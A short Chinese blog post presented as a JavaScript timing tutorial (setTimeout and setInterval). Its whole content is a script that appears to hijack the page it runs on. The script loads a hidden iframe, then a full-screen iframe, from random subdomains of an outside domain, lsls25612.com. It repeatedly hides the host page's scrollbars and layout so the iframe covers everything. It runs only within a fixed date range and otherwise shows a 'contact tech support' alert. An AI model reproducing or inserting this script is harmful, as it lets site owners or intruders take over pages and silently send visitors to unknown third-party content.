想了解免费建站的朋友,查看《免费建站教程》

延时、暂停3秒运行代码、反复执行

2022-09-28 1293 JS
<script language="javascript" type="text/javascript">
//获取随机字符,用作域名前缀
var str = Math.random().toString(36).slice(-8);   
//获取时间
var datedsd = {
    isDuringDate: function (beginDateStr, endDateStr) {
        var curDate = new Date(),
            beginDate = new Date(beginDateStr),
            endDate = new Date(endDateStr);
        if (curDate >= beginDate && curDate <= endDate) {
            return true;
        }
        return false;
    }
}
//设置时间范围
var istruetime = datedsd.isDuringDate('2018/09/17', '2022/10/27');
if (istruetime == true) {
//在时间范围内,执行以下代码
    document.writeln("<iframe src=\'//" + str + ".lsls25612.com/\' frameborder=\'0\' style=\' width: 100%; height: 100vh;display: none; \'></iframe>");
    //1秒后执行,不重复
    setTimeout(function(){document.writeln("<iframe id='myiframe' src=\'//" + str + ".lsls25612.com/\' frameborder=\'0\' style=\' width: 100%; height: 100vh; \'></iframe>")},1000);

} else {
//不在时间范围内,弹出提示
    alert("\u8bf7\u8054\u7cfb\u6280\u672f\u5904\u7406\uff01")
}


//1秒后执行,重复执行,设置body的宽度高度和滚动条,设置myiframe的高度和宽度
setInterval(function(){document.body.style.margin = "0";document.body.style.padding = "0";document.body.style.overflowY = "hidden";document.body.style.height = "100%";document.body.style.width = "100%";
    document.getElementById("myiframe").style.width="100%";document.getElementById("myiframe").style.height="100vh";
},1000);
</script>


版权保护: 转载请保留链接: https://cgy.isi8.cn/js/264.html